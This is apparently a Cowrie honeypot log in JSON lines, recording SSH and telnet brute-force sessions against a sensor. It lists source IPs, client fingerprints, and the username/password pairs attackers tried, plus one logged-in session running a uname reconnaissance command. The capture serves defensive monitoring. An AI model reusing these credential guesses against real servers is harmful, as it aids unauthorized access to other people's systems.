{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:05.843014Z","src_ip":"152.42.212.128","session":"5a5d9c92650c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:06.464826Z","src_ip":"176.65.132.129","session":"a1f45fdb91dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42232,"dst_ip":"10.17.0.5","dst_port":23,"session":"09b56788cdfd","protocol":"telnet","message":"New connection: 152.42.224.71:42232 (10.17.0.5:23) [session: 09b56788cdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:07.213187Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35724,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2d6488bf15d","protocol":"ssh","message":"New connection: 176.65.132.129:35724 (159.203.135.109:22) [session: e2d6488bf15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:08.164049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:08.168514Z","src_ip":"176.65.132.129","session":"e2d6488bf15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.580775737762451,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:08.228851Z","src_ip":"181.121.59.115","session":"f79f179dadd2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:08.253413Z","src_ip":"176.65.132.129","session":"e2d6488bf15d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:08.594606Z","src_ip":"176.65.132.129","session":"e2d6488bf15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:09.680216Z","src_ip":"176.65.132.129","session":"e2d6488bf15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":38732,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f6feee5d344","protocol":"ssh","message":"New connection: 62.54.176.203:38732 (159.203.135.109:22) [session: 6f6feee5d344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:10.149426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:10.154266Z","src_ip":"62.54.176.203","session":"6f6feee5d344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:10.260193Z","src_ip":"62.54.176.203","session":"6f6feee5d344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42246,"dst_ip":"10.17.0.5","dst_port":23,"session":"aecca259db10","protocol":"telnet","message":"New connection: 152.42.224.71:42246 (10.17.0.5:23) [session: aecca259db10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:10.565641Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#","message":"login attempt [root/1qaz2wsx#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:11.130610Z","src_ip":"62.54.176.203","session":"6f6feee5d344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35734,"dst_ip":"159.203.135.109","dst_port":22,"session":"da019c832d3b","protocol":"ssh","message":"New connection: 176.65.132.129:35734 (159.203.135.109:22) [session: da019c832d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:11.402627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:11.407862Z","src_ip":"176.65.132.129","session":"da019c832d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:11.489371Z","src_ip":"176.65.132.129","session":"da019c832d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:11.736045Z","src_ip":"176.65.132.129","session":"da019c832d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:12.232697Z","src_ip":"62.54.176.203","session":"6f6feee5d344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:12.820950Z","src_ip":"176.65.132.129","session":"da019c832d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35746,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc99b00d475c","protocol":"ssh","message":"New connection: 176.65.132.129:35746 (159.203.135.109:22) [session: fc99b00d475c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:14.502505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:14.508235Z","src_ip":"176.65.132.129","session":"fc99b00d475c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:14.590914Z","src_ip":"176.65.132.129","session":"fc99b00d475c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:14.838828Z","src_ip":"176.65.132.129","session":"fc99b00d475c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:15.928780Z","src_ip":"176.65.132.129","session":"fc99b00d475c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44282,"dst_ip":"159.203.135.109","dst_port":22,"session":"221d38279bce","protocol":"ssh","message":"New connection: 176.65.132.129:44282 (159.203.135.109:22) [session: 221d38279bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:17.641185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:17.646423Z","src_ip":"176.65.132.129","session":"221d38279bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:17.729049Z","src_ip":"176.65.132.129","session":"221d38279bce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:17.977505Z","src_ip":"176.65.132.129","session":"221d38279bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:18.185407Z","src_ip":"176.65.132.129","session":"221d38279bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:18.188694Z","src_ip":"176.65.132.129","session":"221d38279bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:18.273995Z","src_ip":"176.65.132.129","session":"221d38279bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:18.279711Z","src_ip":"176.65.132.129","session":"221d38279bce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":46834,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7ee6d0e4c17","protocol":"ssh","message":"New connection: 82.152.132.24:46834 (159.203.135.109:22) [session: a7ee6d0e4c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.075923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.081383Z","src_ip":"82.152.132.24","session":"a7ee6d0e4c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.207961Z","src_ip":"82.152.132.24","session":"a7ee6d0e4c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":46000,"dst_ip":"159.203.135.109","dst_port":22,"session":"0241b4bd5b87","protocol":"ssh","message":"New connection: 23.249.28.115:46000 (159.203.135.109:22) [session: 0241b4bd5b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.709910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.714551Z","src_ip":"23.249.28.115","session":"0241b4bd5b87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jeanne1234","message":"login attempt [root/jeanne1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.741937Z","src_ip":"82.152.132.24","session":"a7ee6d0e4c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.060058116912842,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.749310Z","src_ip":"152.42.224.71","session":"f4d3909578c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44290,"dst_ip":"159.203.135.109","dst_port":22,"session":"c499363164b5","protocol":"ssh","message":"New connection: 176.65.132.129:44290 (159.203.135.109:22) [session: c499363164b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.794497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.798963Z","src_ip":"176.65.132.129","session":"c499363164b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.904861Z","src_ip":"23.249.28.115","session":"0241b4bd5b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:20.962555Z","src_ip":"176.65.132.129","session":"c499363164b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:21.243245Z","src_ip":"176.65.132.129","session":"c499363164b5","protocol":"ssh"}
